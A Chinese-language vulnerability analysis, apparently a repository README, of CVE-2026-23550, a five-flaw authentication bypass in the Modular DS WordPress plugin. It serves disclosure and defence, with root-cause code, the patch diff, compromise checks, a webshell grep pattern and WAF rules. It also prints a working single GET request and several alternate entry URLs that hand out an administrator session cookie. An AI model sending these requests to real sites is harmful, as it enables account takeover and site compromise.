██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
根本原因分析 · 源码解读 · 补丁差异 · 教育性 PoC
作者: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) 是一款用于管理 WordPress 网站的插件,拥有 超过 40,000 个活跃安装。版本 ≤ 2.5.1 中存在一条由五个缺陷串联而成的漏洞链,允许 任意未认证攻击者 绕过身份验证,调用插件内部登录接口,并收到 第一个管理员账户 的wordpress_logged_in_*会话 cookie —— 只需 一次 HTTP GET 请求。
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
结果: 完全接管管理员账户。攻击者可安装恶意插件、上传 webshell、创建备用管理员账号、窃取数据库。
该漏洞触发的是插件中嵌入的 自定义 Laravel 路由解析器。该插件自带一个 HTTP 内核 (Ares/Framework),它挂钩 WordPress 的 parse_request 操作,在 WordPress 自身路由接管之前 劫持请求。
前置条件: 无(插件已安装并激活,且连接了 Modular SaaS —— 所有活跃安装的默认状态)。
入口点(任意一个即可):
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
该漏洞并非单一缺陷,而是 由五个缺陷串联而成的漏洞链。每个层面孤立来看似乎都有防御力;但组合起来,它们便崩塌为一次预认证的管理员接管。
flowchart TB
A["🌐 攻击者请求<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>仅凭查询参数即可开启大门"]
B --> C["② Router::findRoute()<br/>URL 被隐式解析为 /login 路由"]
C --> D["③ bindOldRoutes() 过滤器<br/>未知 type 时直接通过"]
D --> E["④ ModularGuard::check()<br/>验证服务器端 OAuth 状态,而非请求本身"]
E --> F["⑤ AuthController::getLogin()<br/>回退到第一个管理员用户"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>攻击者 = 管理员"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fffHttpUtils::isDirectRequest()文件: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ 仅凭查询参数,无签名
}
return false;
}
问题: “直接请求”模式 —— 本意是识别来自 Modular SaaS 后端的合法请求 —— 却仅靠 明文查询参数 来判定,没有 HMAC、没有 JWT、没有签名随机数、没有 IP 白名单。任何攻击者都可以轻易触发此开关。
Router::findRoute()文件: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ 在安全过滤器运行前,URL 已被解析为路由
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
问题: Laravel 的 routes->match($request) 会将 /api/modular-connector/login/xxx 解析为 login 路由(受认证守卫保护)早于安全过滤器执行。过滤器接收到的这个路由作为输入,因此它必须证明该路由非法,而非主动授权。
bindOldRoutes()文件: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* 通过签名 OAuth 调用重新绑定 */ }
if ($type === 'oauth') { /* 重新绑定到 /oauth 处理器 */ }
if ($type === 'lb') { /* 重新绑定到 /schedule/run */ }
return $route; // ⚠️ 未知 type → 保留 URL 解析出的路由不变
}
问题: 过滤器仅在 type 为三个已知值之一时才覆盖路由。当 type 为任意值(x、foo、空)时,它会穿透并返回未修改的 URL 解析路由。而由 URL 驱动的 login 路由(理论上受认证守卫保护)便进入中间件评估。
ModularGuard::check()文件: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ 检查服务器状态
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
问题: 自定义的 modular 守卫 完全未验证传入请求的身份。它只检查插件本身是否仍持有与 Modular SaaS 的有效 OAuth 会话。由于几乎所有安装都已连接(否则插件毫无用处),因此守卫对所有到达它的请求都返回 true。
这是关键缺陷。即使修复了缺陷 ①–③,单凭这个损坏的守卫,也足以让 auth 中间件组中的每个路由都被未经授权地访问。
AuthController::getLogin()文件: src/app/Http/Controllers/AuthController.php:66
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id'); // null — 绑定从未被填充
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // 💣 站点的第一个管理员
}
$cookies = ServerSetup::loginAs($user, true); // 💣 发放 WP 会话 cookie
return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}
问题: SiteRequest 路由-模型绑定仅在过滤器链中 type === 'request' 时才会被填充。对于未知的 type,$modularRequest 以一个空对象到达控制器。随后,控制器静默地 回退到第一个管理员用户 并签发 WordPress 登录 cookie。任何人都可以从前门走进来。
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);
━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
- if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+ $routes = app('router')->getRoutes();
+ $route = $routes->getByName('default'); // 👈 始终从 404 路由开始
+ $route->bind(request());
+ if (!HttpUtils::isDirectRequest()) return $route;
━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+ abort(404);
+ })->name('default');
该修复 完全移除了隐式的 URL→路由解析。过滤器现在从一个硬编码为 abort(404) 的 default 路由开始,并且只有在 type 是三个明确白名单值之一时才重新绑定到真实控制器。在新逻辑下,type=x 会产生一个 404 —— 请求永远不会到达登录控制器,损坏的守卫也就没有机会开放大门。
这是事后追加的纵深防御:尽管 ModularGuard::check() 在结构上仍然薄弱,但对于受认证保护的路由而言,通往它的可到达链现在已经关闭。
modular-connector >= 2.5.2 —— 没有商量余地。升级后,如果插件之前为 ≤ 2.5.1 且自 2026-01-13 以来面向互联网,则假定已被入侵。检查以下内容:
# 1. 未授权的管理员账户
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
# 2. 2026-01-13 之后可疑的插件安装
find wp-content/plugins/ -type d -newer /tmp/marker-jan13
# 3. 最近修改的核心文件
find wp-includes/ wp-admin/ -type f -mtime -30
# 4. Webshell(利用后常见载荷)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
"id:2026023550,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 漏洞利用尝试 (Modular DS)'"
SecRule ARGS:origin "@streq mo" \
"chain,id:2026023551,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 直接请求绕过尝试'"
SecRule ARGS:type "@rx .+"
Beelze · zeroday 1diot9
高级 CVE 研究员 · 漏洞分析师 · PoC 构建者
本仓库 严格 仅供教育和防御研究目的发布。
该漏洞已公开披露(CVE-2026-23550),供应商已修补(
modular-connector 2.5.2),并且主流安全媒体已详细报道。本文档旨在帮助 防御者 理解根本原因,帮助 开发者 从真实世界的身份验证设计失败中学习,并帮助 研究人员 研究缺陷串联模式。不要 针对不属于你或未经明确书面授权的系统运行附带的 PoC 脚本。未经授权访问计算机系统在几乎所有司法管辖区都是非法的(CFAA、计算机滥用法、ITE 法等)。
作者 不对 滥用行为承担任何责任。如果你不确定你的使用场景是否已获授权,那么它就不是。
为安全研究社区精心制作。
⭐ 如果这个仓库帮助你学到了东西,请给它一个星标。
| 字段 | 值 |
|---|
| 插件名称 | Modular DS |
| Slug | modular-connector |
| 受影响版本 | <= 2.5.1 |
| 已修补版本 | 2.5.2 |
| 活跃安装量 | ~40,000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — 身份验证与授权失败 |
| # | 层面 | 文件 | 根本问题 |
|---|
| ① | 启动门 | HttpUtils.php:64 | 仅检查 origin=mo 查询参数,无加密/随机数 |
| ② | URL→路由匹配 | Router.php:20 | 隐式 URL 解析后直接进入过滤器 |
| ③ | 路由覆盖过滤器 | RouteServiceProvider.php:46 | 未知 type 直接通过,保留原始路由 |
| ④ | 认证守卫 | ModularGuard.php:16 | 验证服务器端 OAuth 状态,而非请求身份 |
| ⑤ | 登录控制器 | AuthController.php:66 | 输入缺失时静默回退到 getAdminUser() |
| 日期 | 事件 |
|---|
| 2026-01-XX | 供应商发布 2.5.2,含静默安全修复 |
| 2026-01-13 ~02:00 UTC | 首次观察到野外利用 |
| 2026-01-13 | Patchstack 发布公告 · 分配 CVE-2026-23550 |
| 2026-01-14 | The Hacker News、BleepingComputer、Security Affairs 报道 |
| 2026-07-05 | 发布本文档(教育性撰写) |